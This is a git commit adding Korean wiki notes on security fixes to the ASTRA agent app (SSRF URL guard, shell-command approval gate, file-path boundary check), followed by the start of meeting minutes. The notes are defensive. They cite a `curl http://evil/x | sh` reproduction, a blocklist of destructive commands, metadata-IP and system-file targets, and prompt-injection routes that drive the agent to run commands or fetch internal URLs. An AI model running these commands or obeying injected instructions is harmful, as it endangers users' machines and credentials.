위키 동기화 2026-06-19: 보안 트러블슈팅 노트·회의록·lessons·Digests + ASTRA 성장 산출물
- 00_Raw: ASTRA 보안 가이드 3종(SSRF/셸 명령/파일 경로 경계), 회의록 p/q/r 추가 - Topics: Digests 5종, lessons 4종, 메모리 에피소드/장기기억 갱신 - .astra: growth(decay/regression/weakness)·eval(corrections/report) 학습 산출물 갱신 Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
This commit is contained in:
@@ -0,0 +1,118 @@
|
||||
---
|
||||
id: astra-ssrf-url-fetch-guard-20260619
|
||||
title: "ASTRA SSRF 방어 — 신뢰 불가 URL fetch 경계(assertPublicUrl)"
|
||||
category: "Security"
|
||||
status: "applied"
|
||||
verification_status: "validated"
|
||||
canonical_id: ""
|
||||
aliases: ["SSRF 방어", "assertPublicUrl", "ssrfGuard", "URL fetch 경계", "사설 IP 차단", "169.254.169.254 메타데이터 차단", "DNS 리바인딩", "fetch_url 보안", "buildUrlContext 가드"]
|
||||
duplicate_of: ""
|
||||
source_trust_level: "S"
|
||||
confidence_score: 0.95
|
||||
created_at: 2026-06-19
|
||||
updated_at: 2026-06-19
|
||||
review_reason: ""
|
||||
merge_history: []
|
||||
tags: [security, astra, ssrf, network, fetch, web, troubleshooting]
|
||||
raw_sources: ["E:/Wiki/astraai/src/features/web/ssrfGuard.ts", "E:/Wiki/astraai/src/features/web/webFetch.ts", "E:/Wiki/astraai/src/lib/contextBuilders/urlContext.ts", "E:/Wiki/astraai/src/agent/actions/webFetch.ts", "E:/Wiki/astraai/tests/ssrfGuard.test.ts"]
|
||||
applied_in: ["E:/Wiki/astraai @ branch (uncommitted, 2026-06-19)"]
|
||||
github_commit: ""
|
||||
---
|
||||
|
||||
# [[ASTRA SSRF 방어 URL fetch 경계]]
|
||||
|
||||
## 🎯 한 줄 통찰 (One-line insight)
|
||||
**모델/웹 콘텐츠가 준 URL을 호스트 검증 없이 fetch 하던 SSRF 경로를, "공인 IP 가 아니면 거부"하는 allowlist 성격의 `assertPublicUrl` 가드로 닫고 리다이렉트 각 홉까지 재검증한다.**
|
||||
|
||||
## 🧠 핵심 개념 (Core concepts)
|
||||
- **SSRF (Server-Side Request Forgery)**: 신뢰 불가 입력으로 서버가 내부 자원에 요청하게 만드는 공격. 여기선 "에이전트 프로세스"가 내부망/메타데이터/로컬 브릿지에 도달.
|
||||
- **차단 대상 IP**: 루프백(127/8·::1), 사설(10/8·172.16/12·192.168/16·fc00::/7), 링크로컬(169.254/16=클라우드 메타데이터·fe80::/10), CGNAT/멀티캐스트/예약, IPv4-mapped IPv6.
|
||||
- **단일 chokepoint**: `buildUrlContext` 입구에서 한 번 검증 → 브릿지 추출·직접 fetch 양 경로 모두 보호.
|
||||
- **리다이렉트 재검증**: `redirect:'manual'` + 각 홉 `assertPublicUrl` 재호출로 공인→사설 우회 차단.
|
||||
|
||||
## 🩺 증상 (Symptom)
|
||||
일반 챗의 URL 주입과 에이전트 `<fetch_url>`이 모델/페이지가 제시한 임의 URL을 `redirect:'follow'`로 그대로 fetch했다. 악성 페이지가 `http://127.0.0.1:3002`(로컬 브릿지)·`http://169.254.169.254/...`(메타데이터)·NAS/인트라넷 주소를 제시하면 그 응답 본문이 모델 컨텍스트로 주입될 수 있었다.
|
||||
|
||||
## 🌐 환경 / 범위 (Environment & scope)
|
||||
- 프로젝트: ASTRA (`E:/Wiki/astraai`). Node 18+ global `fetch`.
|
||||
- 경로: `urlContext.buildUrlContext`(일반 챗 + `fetch_url` 액션 공용) → ① 브릿지 추출 → ② `fetchUrlDirect` 폴백.
|
||||
- 비대상: `bridgeFetch`(의도적 localhost:3002 도구 호출)는 SSRF 가드 미적용 — 별도 함수.
|
||||
|
||||
## 🔁 재현 절차 (Reproduction)
|
||||
1. 챗 또는 모델 응답에 `http://169.254.169.254/latest/meta-data/` 같은 내부 URL 포함.
|
||||
2. 기존 `fetchUrlDirect`: `http/https`만 확인하고 목적지 IP 미검증 → 그대로 요청, 본문 반환([webFetch.ts](E:/Wiki/astraai/src/features/web/webFetch.ts)).
|
||||
3. 공인 도메인 → 302 리다이렉트로 사설 IP 유도 시 `follow`가 그대로 추적.
|
||||
|
||||
## 🔥 영향 및 심각도 (Impact & severity)
|
||||
**High.** 내부망 스캐닝·클라우드 메타데이터 자격증명 탈취·로컬 전용 서비스(브릿지) 호출 가능. 입력 출처가 untrusted(웹/모델)라 악용 난도 낮음.
|
||||
|
||||
## 🧠 근본 원인 (Root cause)
|
||||
- `fetchUrlDirect`가 스킴(`http/https`)만 검사하고 **호스트→IP 해석 후 사설/예약 범위 검증이 전무**.
|
||||
- `buildUrlContext`가 URL을 브릿지·직접 양쪽으로 무검증 전달.
|
||||
- `redirect:'follow'`로 리다이렉트 목적지 재검증 불가.
|
||||
|
||||
## 🔎 조사 과정 (Investigation)
|
||||
- 보안 감사로 `webFetch.ts:81-103`·`agent/actions/webFetch.ts:20`의 무필터 fetch 경로 식별.
|
||||
- 외부 표준 리서치: OWASP는 **denylist보다 allowlist**(공인 IP 아니면 거부), DNS 리바인딩 방지엔 **해석 시점 IP 검증/피닝** 권고 [S5].
|
||||
|
||||
## 🛠️ 해결 (Resolution / applied fix)
|
||||
1. 신규 모듈 [ssrfGuard.ts](E:/Wiki/astraai/src/features/web/ssrfGuard.ts): `isBlockedIPv4/IPv6/Ip`, `assertPublicUrl(url)` — IP 리터럴 즉시 검사, DNS 호스트는 **모든 A/AAAA 레코드** 해석 후 하나라도 차단 대상이면 거부. `localhost`류는 해석 전 거부.
|
||||
2. [urlContext.ts](E:/Wiki/astraai/src/lib/contextBuilders/urlContext.ts) 입구에 `assertPublicUrl` — 실패 시 "🚫 URL 접근 차단" 정직 블록 반환(브릿지·직접 양 경로 차단).
|
||||
3. [webFetch.ts](E:/Wiki/astraai/src/features/web/webFetch.ts) `fetchUrlDirect`: `redirect:'manual'`로 전환, 최대 5홉 루프에서 각 홉 `assertPublicUrl` 재검증(이중 방어 + 독립 호출자 보호).
|
||||
|
||||
## 💻 코드 패턴 (Code patterns)
|
||||
```ts
|
||||
// ssrfGuard.ts — "공인 아니면 거부"
|
||||
export async function assertPublicUrl(rawUrl: string): Promise<void> {
|
||||
const host = new URL(rawUrl).hostname.replace(/^\[|\]$/g, '');
|
||||
if (isIP(host)) { if (isBlockedIp(host)) throw new SsrfBlockedError(`차단된 내부 IP: ${host}`); return; }
|
||||
if (/^localhost$/i.test(host) || host.endsWith('.localhost')) throw new SsrfBlockedError('로컬 호스트');
|
||||
const addrs = await dnsLookup(host, { all: true }); // 모든 레코드 검사(다중 IP 우회 방지)
|
||||
for (const { address } of addrs)
|
||||
if (isBlockedIp(address)) throw new SsrfBlockedError(`내부 IP 해석: ${host} → ${address}`);
|
||||
}
|
||||
```
|
||||
```ts
|
||||
// webFetch.ts — 리다이렉트 각 홉 재검증
|
||||
for (let hop = 0; hop <= 5; hop++) {
|
||||
try { await assertPublicUrl(current); } catch (e) { return fail(`차단됨(SSRF 방지): ${e.message}`); }
|
||||
res = await fetch(current, { redirect: 'manual', /* … */ });
|
||||
if (res.status >= 300 && res.status < 400 && res.headers.get('location')) {
|
||||
current = new URL(res.headers.get('location'), current).toString(); continue;
|
||||
}
|
||||
break;
|
||||
}
|
||||
```
|
||||
|
||||
## ✅ 검증 (Verification)
|
||||
- 신규 [tests/ssrfGuard.test.ts](E:/Wiki/astraai/tests/ssrfGuard.test.ts) 9개: IPv4/IPv6 범위, 내부 IP URL 거부, `localhost` 거부, 잘못된 URL 거부.
|
||||
- `urlContextBuild.test.ts`는 SSRF 가드를 모킹(할루시네이션 로직 검증 전용, DNS 비의존화).
|
||||
- `tsc` 0 에러, 전체 716 통과.
|
||||
|
||||
## ⚖️ 모순 및 업데이트 (Contradictions & updates)
|
||||
**한계(정직 고지):** 해석 시점 검증이라 fetch 가 재해석하는 사이 레코드가 바뀌는 **DNS 리바인딩 창**은 완전히 닫지 못한다. 완전 차단은 연결 IP 고정(커스텀 undici dispatcher)이 필요 — 정적 사설 IP·리다이렉트 우회는 차단됨. 브릿지(:3002) 자체의 서버사이드 fetch SSRF는 브릿지(별도 프로젝트)의 책임.
|
||||
|
||||
## 🛠️ 적용 사례 (Applied in summary)
|
||||
ASTRA 일반 챗 URL 주입 + 에이전트 `fetch_url` 액션 + `/wikify` 폴백(직접 fetch) 경로에 적용.
|
||||
|
||||
## ✅ 검증 상태 및 신뢰도
|
||||
- **상태:** applied (미커밋)
|
||||
- **검증 단계:** validated (단위 테스트 + 빌드/타입)
|
||||
- **출처 신뢰도:** S
|
||||
- **신뢰 점수:** 0.95
|
||||
- **중복 검사 결과:** 신규 생성
|
||||
|
||||
## 🔗 지식 그래프 (Knowledge Graph)
|
||||
- **상위/루트:** [[ASTRA]]
|
||||
- **관련 개념:** [[ASTRA 에이전트 셸 명령 실행 보안 게이트]], [[ASTRA 파일 경로 경계 가드]], [[ASTRA Datacollect Bridge]]
|
||||
- **참조 맥락:** 에이전트/LLM이 외부 URL을 가져올 때의 네트워크 경계 통제 기준.
|
||||
|
||||
## 📚 출처 (Sources)
|
||||
- [S1] `E:/Wiki/astraai/src/features/web/ssrfGuard.ts` — IP 범위 판정 + `assertPublicUrl`.
|
||||
- [S2] `E:/Wiki/astraai/src/features/web/webFetch.ts` — `fetchUrlDirect` 수동 리다이렉트 + 가드.
|
||||
- [S3] `E:/Wiki/astraai/src/lib/contextBuilders/urlContext.ts` — 입구 chokepoint.
|
||||
- [S4] `E:/Wiki/astraai/tests/ssrfGuard.test.ts` — 회귀 테스트.
|
||||
- [S5] OWASP SSRF Prevention / `azu/request-filtering-agent`, Wiz SSRF guide — allowlist·DNS 리바인딩 권고.
|
||||
|
||||
## 📝 변경 이력 (Change history)
|
||||
- 2026-06-19: 보안 감사 + 외부 표준 대조 후 SSRF 가드 신설 및 최초 문서화(Claude Opus 4.8).
|
||||
@@ -0,0 +1,126 @@
|
||||
---
|
||||
id: astra-run-command-security-gate-20260619
|
||||
title: "ASTRA 에이전트 셸 명령 실행 보안 게이트 (run_command 승인·분류)"
|
||||
category: "Security"
|
||||
status: "applied"
|
||||
verification_status: "validated"
|
||||
canonical_id: ""
|
||||
aliases: ["run_command 게이트", "셸 명령 승인", "command execution gate", "sanitizeCommand allowlist", "에이전트 임의 코드 실행 방지", "classifyCommand", "ASTRA 명령 승인 큐"]
|
||||
duplicate_of: ""
|
||||
source_trust_level: "S"
|
||||
confidence_score: 0.97
|
||||
created_at: 2026-06-19
|
||||
updated_at: 2026-06-19
|
||||
review_reason: ""
|
||||
merge_history: []
|
||||
tags: [security, astra, agent, shell, approval, RCE, troubleshooting]
|
||||
raw_sources: ["E:/Wiki/astraai/src/security.ts", "E:/Wiki/astraai/src/agent/actions/runCommand.ts", "E:/Wiki/astraai/src/agent/actions/types.ts", "E:/Wiki/astraai/src/agent.ts", "E:/Wiki/astraai/src/features/approval/approvalQueue.ts", "E:/Wiki/astraai/tests/commandGate.test.ts"]
|
||||
applied_in: ["E:/Wiki/astraai @ branch (uncommitted, 2026-06-19)"]
|
||||
github_commit: ""
|
||||
---
|
||||
|
||||
# [[ASTRA 에이전트 셸 명령 실행 보안 게이트]]
|
||||
|
||||
## 🎯 한 줄 통찰 (One-line insight)
|
||||
**에이전트가 emit 한 `<run_command>`가 사람 확인·허용리스트 강제 없이 즉시 셸에서 실행되던 임의 코드 실행(RCE) 경로를, "차단 / 자동허용 / 승인필요" 3분류 게이트로 닫았다.**
|
||||
|
||||
## 🧠 핵심 개념 (Core concepts)
|
||||
- **게이트 우회 (gate bypass)**: dryRun 승인 흐름이 *파일 트랜잭션 커밋*만 지연시킬 뿐, 셸 명령 실행은 그보다 먼저 무조건 일어났다 [S1].
|
||||
- **비강제 sanitize**: 기존 `sanitizeCommand`는 위험 패턴 블록리스트 ~8개 + 허용리스트는 `console.warn`만 하고 통과 — 즉 사실상 통제가 아니었다 [S2].
|
||||
- **fail-closed 설계**: 승인 채널이 없으면(테스트/헤드리스) 미등록 명령을 *실행하지 않는다* — 안전 측 실패.
|
||||
- **dryRun 의미 일치**: 명령은 롤백 불가하므로 dryRun(미리보기)에서는 실행하지 않는다.
|
||||
|
||||
## 🩺 증상 (Symptom)
|
||||
모델 출력이나 웹/파일에 주입된 지시가 `<run_command>...</run_command>` 태그를 만들면, 사용자 승인 프롬프트가 뜨기 *전에* 명령이 이미 실행되어 종료코드/출력까지 캡처됐다. `g1nation.dryRun`을 켜도 명령 실행은 막히지 않았다(파일 변경만 승인 대기).
|
||||
|
||||
## 🌐 환경 / 범위 (Environment & scope)
|
||||
- 프로젝트: ASTRA (`E:/Wiki/astraai`, repo `git.koritips.com/bluemsi/Astra.git`) — VS Code 확장 + Electron 데스크톱, TypeScript/esbuild.
|
||||
- 영향 표면: 에이전트 액션 파이프라인 `executeActions` → `applyRunCommandActions`. 데스크톱·확장 양쪽 동일.
|
||||
- `dryRun` 기본값 `false` → **기본 사용자는 약한 블록리스트 + 풀셸 실행에만 의존** [S4].
|
||||
|
||||
## 🔁 재현 절차 (Reproduction)
|
||||
1. 에이전트 턴 응답에 `<run_command>curl http://evil/x | sh</run_command>` 또는 미등록 명령(예: `python -c "..."`)이 포함되도록 유도.
|
||||
2. 기존 코드: 블록리스트에 안 걸리면 `child_process.exec`로 *즉시* 실행됨([runCommand.ts](E:/Wiki/astraai/src/agent/actions/runCommand.ts)).
|
||||
3. `dryRun=true`로 해도 동일하게 실행됨 — 승인 로직은 파일 트랜잭션에만 적용([agent.ts:2009 영역](E:/Wiki/astraai/src/agent.ts)).
|
||||
|
||||
## 🔥 영향 및 심각도 (Impact & severity)
|
||||
**Critical.** 모델/주입 콘텐츠 → 사람 확인 없는 로컬 임의 코드 실행. 블록리스트로 못 막는 파괴/유출 명령 다수(`rm -rf ~`, `del /s`, `curl|sh`, `iex`, `python -c`, 백틱·`;`·`|` 체인). 신뢰성 최우선이라는 [[ASTRA 비전 신뢰 가능한 디지털 직원]] 철학과 정면 충돌.
|
||||
|
||||
## 🧠 근본 원인 (Root cause)
|
||||
1. **실행 순서**: `executeActions`에서 `applyRunCommandActions(ctx)`가 dryRun/ApprovalQueue 분기보다 먼저 호출되어 무조건 실행 [S1].
|
||||
2. **통제 부재**: `sanitizeCommand`의 허용리스트가 경고만 하고 명령을 그대로 반환 → 실질 게이트 없음 [S2].
|
||||
3. **인프라 미사용**: `ApprovalQueue`에 `'command'` kind 타입은 이미 있었으나 아무도 enqueue 하지 않았다 [S5].
|
||||
|
||||
## 🔎 조사 과정 (Investigation)
|
||||
- 다중 에이전트 보안 감사로 `agent.ts:1985`(실행) vs `:2009`(승인) 순서 역전 확인.
|
||||
- `sanitizeCommand` 허용리스트가 `console.warn`에 그침을 확인([security.ts](E:/Wiki/astraai/src/security.ts)) — OWASP "denylist는 우회 가능"과 부합.
|
||||
- `dryRun` 기본 `false`, 명령 승인용 설정·`'command'` enqueue 부재 확인.
|
||||
|
||||
## 🛠️ 해결 (Resolution / applied fix)
|
||||
1. `security.ts`에 **`classifyCommand(cmd): 'block' | 'allow' | 'approve'`** 도입 + 보조함수 `assertCommandSafe`, `isCommandAllowlisted`. 블록리스트 대폭 강화(`rm -rf /~.*`, `curl|sh`/`wget|bash`, `iex`, `mkfs`, `dd`, `del /s`, `Remove-Item -Recurse -Force`, fork bomb, `shutdown` 등), 허용리스트 확장(npm/git/node/python/tsc/jest/docker…) + **체인의 모든 세그먼트 검사**.
|
||||
2. `runCommand.ts` 재작성: block→차단 보고, allow→즉시 실행, approve→`ApprovalQueue('command')` enqueue 후 **승인 시에만 실행**하고 결과를 `postChunk`로 채팅 전달. dryRun→미실행 미리보기. 승인 채널 없으면 fail-closed(실행 보류).
|
||||
3. `HandlerContext`에 `dryRun?`, `approvalQueue?`, `postChunk?` 주입; `agent.ts`에서 채움.
|
||||
4. **구조적 안전 포인트**: 명령 승인(dryRun off)과 트랜잭션 승인(dryRun on)이 상호배타 → 0..1 승인 큐 선점 충돌 없음.
|
||||
|
||||
## 💻 코드 패턴 (Code patterns)
|
||||
```ts
|
||||
// security.ts — 3분류 게이트
|
||||
export function classifyCommand(command: string): 'block' | 'allow' | 'approve' {
|
||||
try { assertCommandSafe(command); } catch { return 'block'; } // 파괴 패턴: 승인으로도 불가
|
||||
return isCommandAllowlisted(command) ? 'allow' : 'approve'; // 모든 세그먼트 allowlist → allow
|
||||
}
|
||||
```
|
||||
```ts
|
||||
// runCommand.ts — 게이트 적용 (요약)
|
||||
const decision = classifyCommand(cmd);
|
||||
if (decision === 'block') { report.push(`❌ 차단됨(위험 명령)`); continue; }
|
||||
if (ctx.dryRun) { report.push(`⚠️ Dry Run — 명령 미실행`); continue; }
|
||||
if (decision === 'approve') {
|
||||
if (ctx.approvalQueue) { pendingApproval.push(safeCmd); /* enqueue 후 승인 시 실행 */ }
|
||||
else report.push(`⛔ 미승인 명령 — 실행 보류(fail-closed)`);
|
||||
continue;
|
||||
}
|
||||
report.push(await executeCommand(safeCmd, rootPath)); // allow → 즉시 실행
|
||||
```
|
||||
|
||||
## ✅ 검증 (Verification)
|
||||
- `tsc --noEmit` 0 에러, esbuild 양쪽 번들 빌드 성공.
|
||||
- 신규 [tests/commandGate.test.ts](E:/Wiki/astraai/tests/commandGate.test.ts) 9개: 분류(allow/approve/block)·즉시실행·fail-closed·승인 후 실행·dryRun 미실행·파괴 명령 차단.
|
||||
- 기존 `folderActions.test.ts` 5개 유지(mkdir allow 실행 / rm -rf / 차단).
|
||||
- 전체 스위트 707 통과.
|
||||
|
||||
## ⚖️ 검토했으나 적용 안 한 것 (Considered & rejected)
|
||||
- **`exec`→`execFile`(셸 제거)**: `&&` 체인 + PowerShell 재작성을 깨므로 불가 — 셸 유지 + 분류/승인으로 대체.
|
||||
- **블록리스트만 강화**: OWASP상 우회 가능 — 허용리스트+승인을 본 통제로.
|
||||
|
||||
## 🚧 재발 방지 (Prevention / regression guard)
|
||||
- `commandGate.test.ts`가 분류·실행 경로를 회귀로 고정.
|
||||
- 새 위험 패턴은 `DANGEROUS_PATTERNS`, 새 허용 도구는 `SAFE_BASE_COMMANDS`에만 추가(call-site 변경 불필요).
|
||||
|
||||
## 📌 교훈 (Lessons)
|
||||
- **"통제는 경고가 아니라 거부여야 한다"** — `console.warn` 허용리스트는 보안 통제가 아니다.
|
||||
- **실행 순서가 곧 보안 경계** — 승인 게이트는 부수효과(실행)보다 반드시 *앞*에 와야 한다.
|
||||
- 타입에 `'command'` kind가 이미 있었듯, *스캐폴딩만 있고 미배선된 안전장치*를 의심하라.
|
||||
|
||||
## ✅ 검증 상태 및 신뢰도
|
||||
- **상태:** applied (코드 반영, 미커밋)
|
||||
- **검증 단계:** validated (단위 테스트 + 빌드/타입 통과)
|
||||
- **출처 신뢰도:** S (1차 소스 = 실제 코드/테스트)
|
||||
- **신뢰 점수:** 0.97
|
||||
- **중복 검사 결과:** 신규 생성
|
||||
|
||||
## 🔗 지식 그래프 (Knowledge Graph)
|
||||
- **상위/루트:** [[ASTRA]]
|
||||
- **관련 개념:** [[ASTRA SSRF 방어 URL fetch 경계]], [[ASTRA 파일 경로 경계 가드]], [[ASTRA 비전 신뢰 가능한 디지털 직원]]
|
||||
- **참조 맥락:** 에이전트가 셸/파일/네트워크 부수효과를 일으킬 때의 사람-개입(human-in-the-loop) 설계 기준.
|
||||
|
||||
## 📚 출처 (Sources)
|
||||
- [S1] `E:/Wiki/astraai/src/agent.ts` — `executeActions` 실행 순서(명령 실행 → 이후 dryRun 승인 분기) 및 ctx 주입.
|
||||
- [S2] `E:/Wiki/astraai/src/security.ts` — `classifyCommand`/`assertCommandSafe`/`isCommandAllowlisted`/`sanitizeCommand`.
|
||||
- [S3] `E:/Wiki/astraai/src/agent/actions/runCommand.ts` — 게이트 적용 핸들러.
|
||||
- [S4] `E:/Wiki/astraai/src/config.ts` — `dryRun` 기본값 false.
|
||||
- [S5] `E:/Wiki/astraai/src/features/approval/approvalQueue.ts` — `ApprovalKind`에 `'command'` 기정의.
|
||||
- [S6] `E:/Wiki/astraai/tests/commandGate.test.ts` — 회귀 테스트.
|
||||
|
||||
## 📝 변경 이력 (Change history)
|
||||
- 2026-06-19: 다중 에이전트 보안 감사에서 발견한 RCE 경로 수정 후 최초 문서화(Claude Opus 4.8 작업 기록).
|
||||
@@ -0,0 +1,106 @@
|
||||
---
|
||||
id: astra-path-boundary-guard-20260619
|
||||
title: "ASTRA 파일 경로 경계 가드 — validatePath prefix 약점 + brain:read 클램핑"
|
||||
category: "Security"
|
||||
status: "applied"
|
||||
verification_status: "validated"
|
||||
canonical_id: ""
|
||||
aliases: ["validatePath 경계", "path traversal 방지", "prefix 혼동 취약점", "path.sep 경계", "brain:read 클램핑", "isWithinRoot", "IPC 경로 가드", "경로 탈출 차단"]
|
||||
duplicate_of: ""
|
||||
source_trust_level: "S"
|
||||
confidence_score: 0.94
|
||||
created_at: 2026-06-19
|
||||
updated_at: 2026-06-19
|
||||
review_reason: ""
|
||||
merge_history: []
|
||||
tags: [security, astra, path-traversal, ipc, electron, troubleshooting]
|
||||
raw_sources: ["E:/Wiki/astraai/src/security.ts", "E:/Wiki/astraai/desktop/main.ts", "E:/Wiki/astraai/src/agent/actions/fileCreateEdit.ts", "E:/Wiki/astraai/tests/validatePath.test.ts"]
|
||||
applied_in: ["E:/Wiki/astraai @ branch (uncommitted, 2026-06-19)"]
|
||||
github_commit: ""
|
||||
---
|
||||
|
||||
# [[ASTRA 파일 경로 경계 가드]]
|
||||
|
||||
## 🎯 한 줄 통찰 (One-line insight)
|
||||
**`startsWith(root)` 한 줄이 `…/astraai`를 `…/astraai-secrets`까지 통과시키던 경계 혼동을 `path.sep` 단위 비교로 막고, 두뇌 뷰어 IPC(`brain:read`)의 임의 파일 읽기를 두뇌 루트로 클램핑했다.**
|
||||
|
||||
## 🧠 핵심 개념 (Core concepts)
|
||||
- **prefix 혼동 (prefix confusion)**: 구분자 가드 없는 `startsWith`는 `/foo`가 `/foobar`를 경계 안으로 오인한다 — 반드시 `root + path.sep` 또는 `path.relative` 기반 비교.
|
||||
- **realpath 경계 검사**: 심볼릭 링크 우회를 막으려면 대상의 *실제 경로*를 풀어 비교(`isWithinRoot`).
|
||||
- **채널별 경계**: 두뇌 뷰어(`brain:read`)는 두뇌 루트로 제한 가능하나, 범용 파일 편집기(`fs:read/write`)는 *의도적으로* 전체 FS 접근 — 채널 목적에 맞는 경계를 둔다.
|
||||
|
||||
## 🩺 증상 (Symptom)
|
||||
1. `validatePath`가 신뢰 루트 `e:\wiki\astraai`에 대해 `e:\wiki\astraai-secrets\x` 같은 형제 경로를 통과시켰다(접두 문자열 일치).
|
||||
2. 데스크톱 IPC `astra:brain:read`가 경로 검증 없이 임의 절대경로를 최대 200KB 읽어 반환.
|
||||
|
||||
## 🌐 환경 / 범위 (Environment & scope)
|
||||
- 프로젝트: ASTRA (`E:/Wiki/astraai`). `validatePath`는 에이전트 파일 액션(create/edit/read/delete)의 샌드박스 근간.
|
||||
- 데스크톱 IPC 핸들러(`desktop/main.ts`)는 렌더러가 호출하는 파일 채널.
|
||||
|
||||
## 🔁 재현 절차 (Reproduction)
|
||||
1. 작업폴더 `C:\sandboxroot`(부모가 드라이브 루트라 widening 없음)에서 `validatePath(root, 'C:\\sandboxroot-evil\\x')` 호출 → 기존엔 통과(BUG).
|
||||
2. `window.astra.brain.read('C:\\Windows\\win.ini')` → 기존엔 임의 파일 내용 반환.
|
||||
|
||||
## 🔥 영향 및 심각도 (Impact & severity)
|
||||
**High.** prefix 혼동은 샌드박스 형제 디렉토리 탈출을 허용. `brain:read` 무제한은 침해/주입된 렌더러가 임의 파일을 읽는 정보노출 경로.
|
||||
|
||||
## 🧠 근본 원인 (Root cause)
|
||||
- [security.ts](E:/Wiki/astraai/src/security.ts) `validatePath`: `trusted.some(root => normalizedTarget.startsWith(root))` — 구분자 가드 부재.
|
||||
- [main.ts](E:/Wiki/astraai/desktop/main.ts) `astra:brain:read`: 경계 검사 없는 `fs.readFileSync(filePath)`.
|
||||
|
||||
## 🔎 조사 과정 (Investigation)
|
||||
- 보안 감사로 `security.ts:52` prefix 비교 약점과 `main.ts:321` 무가드 읽기 식별.
|
||||
- 렌더러 사용처 추적: `brain:read`는 Brain 뷰어가 `brain:list` 결과만 읽음 → 두뇌 루트 클램핑이 기능 손실 0.
|
||||
- 반면 `fs:read/write`는 Explorer/FileEditor의 **범용 편집기**(FileTree `goParent` 상위 탐색 + "연 파일이 진실의 원천"이라는 명시 주석)라 클램핑 시 문서화된 기능 파괴 → 제외 판단.
|
||||
|
||||
## 🛠️ 해결 (Resolution / applied fix)
|
||||
1. `validatePath` 경계 비교를 `path.sep` 단위로 교정: `normalizedTarget === r || normalizedTarget.startsWith(r + path.sep)`.
|
||||
2. `desktop/main.ts`에 모듈 레벨 `isWithinRoot(root, target)`(realpath + sep 가드) 추가, `astra:brain:read`를 활성 두뇌 폴더로 클램핑.
|
||||
|
||||
## 💻 코드 패턴 (Code patterns)
|
||||
```ts
|
||||
// security.ts — sep 단위 경계 비교
|
||||
const isTrusted = trusted.some(root => {
|
||||
const r = root.endsWith(path.sep) ? root.slice(0, -1) : root;
|
||||
return normalizedTarget === r || normalizedTarget.startsWith(r + path.sep);
|
||||
});
|
||||
```
|
||||
```ts
|
||||
// desktop/main.ts — 두뇌 뷰어 채널 클램핑
|
||||
H('astra:brain:read', async (_e, filePath: string) => {
|
||||
try {
|
||||
const root = getActiveBrainProfile().localBrainPath;
|
||||
if (!root || !isWithinRoot(root, filePath)) return ''; // 두뇌 폴더 밖 → 거부
|
||||
return fs.readFileSync(filePath, 'utf-8').slice(0, 200000);
|
||||
} catch { return ''; }
|
||||
});
|
||||
```
|
||||
|
||||
## ✅ 검증 (Verification)
|
||||
- 신규 [tests/validatePath.test.ts](E:/Wiki/astraai/tests/validatePath.test.ts) 6개: 내부 경로 허용, 형제 prefix(`…root-evil`) 차단, `..` 탈출 차단.
|
||||
- `tsc` 0 에러, esbuild 양쪽 빌드 성공, 전체 716 통과.
|
||||
|
||||
## ⚖️ 모순 및 업데이트 (Contradictions & updates)
|
||||
- **의도적으로 클램핑하지 않은 것**: `fs:read`/`fs:write`(범용 편집기, FileTree `goParent`로 전체 FS 편집이 설계 의도이자 테스트됨), `create_dir` 절대경로(주석상 "저위험·비파괴 mkdir", 테스트 보장). 이들의 본질 위협(렌더러 침해)은 `sandbox:true`+navigation 가드가 올바른 완화책 — 별도 후속 과제.
|
||||
- 즉 "모든 IPC를 workingDir로 묶는" 기계적 적용은 문서화된 기능을 깨므로 **채널 목적별 경계**가 정답.
|
||||
|
||||
## ✅ 검증 상태 및 신뢰도
|
||||
- **상태:** applied (미커밋)
|
||||
- **검증 단계:** validated
|
||||
- **출처 신뢰도:** S
|
||||
- **신뢰 점수:** 0.94
|
||||
- **중복 검사 결과:** 신규 생성
|
||||
|
||||
## 🔗 지식 그래프 (Knowledge Graph)
|
||||
- **상위/루트:** [[ASTRA]]
|
||||
- **관련 개념:** [[ASTRA 에이전트 셸 명령 실행 보안 게이트]], [[ASTRA SSRF 방어 URL fetch 경계]], [[Electron 보안 하드닝]]
|
||||
- **참조 맥락:** 에이전트/IPC가 파일시스템에 접근할 때의 경계(sandbox) 설계 기준.
|
||||
|
||||
## 📚 출처 (Sources)
|
||||
- [S1] `E:/Wiki/astraai/src/security.ts` — `validatePath` sep 경계 수정.
|
||||
- [S2] `E:/Wiki/astraai/desktop/main.ts` — `isWithinRoot` + `astra:brain:read` 클램핑.
|
||||
- [S3] `E:/Wiki/astraai/src/agent/actions/fileCreateEdit.ts` — `create_dir` 절대경로 의도(미변경 근거).
|
||||
- [S4] `E:/Wiki/astraai/tests/validatePath.test.ts` — 회귀 테스트.
|
||||
|
||||
## 📝 변경 이력 (Change history)
|
||||
- 2026-06-19: 보안 감사에서 발견한 prefix 경계 약점 + 무가드 IPC 읽기 수정 후 최초 문서화(Claude Opus 4.8).
|
||||
@@ -0,0 +1,53 @@
|
||||
# [회의 제목] 플랫폼 최적화 및 CCOC 프로젝트 진행 현황 논의
|
||||
|
||||
- **날짜**: 2026년 06월 16일
|
||||
- **참석자**: 김원일 PD, 송병준, 김상엽, 오경득, 전효주, 한예성 (메타데이터 기준)
|
||||
- **주제 요약**: iOS 메모리 이슈 해결을 위한 플랫폼(PlayCanvas, Babylon.js 등) 조사 및 CCOC 프로젝트의 목업 기반 개발 방향 논의
|
||||
|
||||
## 🔹 요약 보고
|
||||
* **iOS 메모리 문제 및 최적화**: iOS 기기에서 파일 압축 해제 시 발생하는 메모리 부족 문제와 이를 극복하기 위한 플레이캔버스(PlayCanvas) 활용 방점 논의.
|
||||
* **플랫폼 기술 조사**: 웹GL 기반 환경에서 성능이 검증된 샘플 사이트(3개 내외)를 선정하여 QA 팀에 테스트 요청 계획 수립.
|
||||
* **CCCOC 프로젝트 진행**: 현옥 팀장의 목업을 바탕으로 한 개발 방식 및 데이터 업데이트 방식(바이브 코딩 활용 등) 논의.
|
||||
* **가우시안 스플래팅 R&D**: 파노라마 방식을 대체하거나 보완할 수 있는 기술적 가능성 및 퀄리티 검증 필요성 제기.
|
||||
|
||||
## 1. 주요 논의 사항
|
||||
### [iOS 메모리 이슈 및 웹GL 플랫폼 조사]
|
||||
- **현황**: iOS 환경에서 압축 파일 해제 시 발생하는 메모리 문제로 인해 특정 기기에서 실행이 불안정함.
|
||||
- **핵심 논의**:
|
||||
- 참석자 1: iOS 10/17 등 특정 기기에서의 메모리 터짐 현상과 이를 극복하기 위한 플레이캔버스 지원 포맷(sgl/sog 등) 활용 가능성 언급.
|
||||
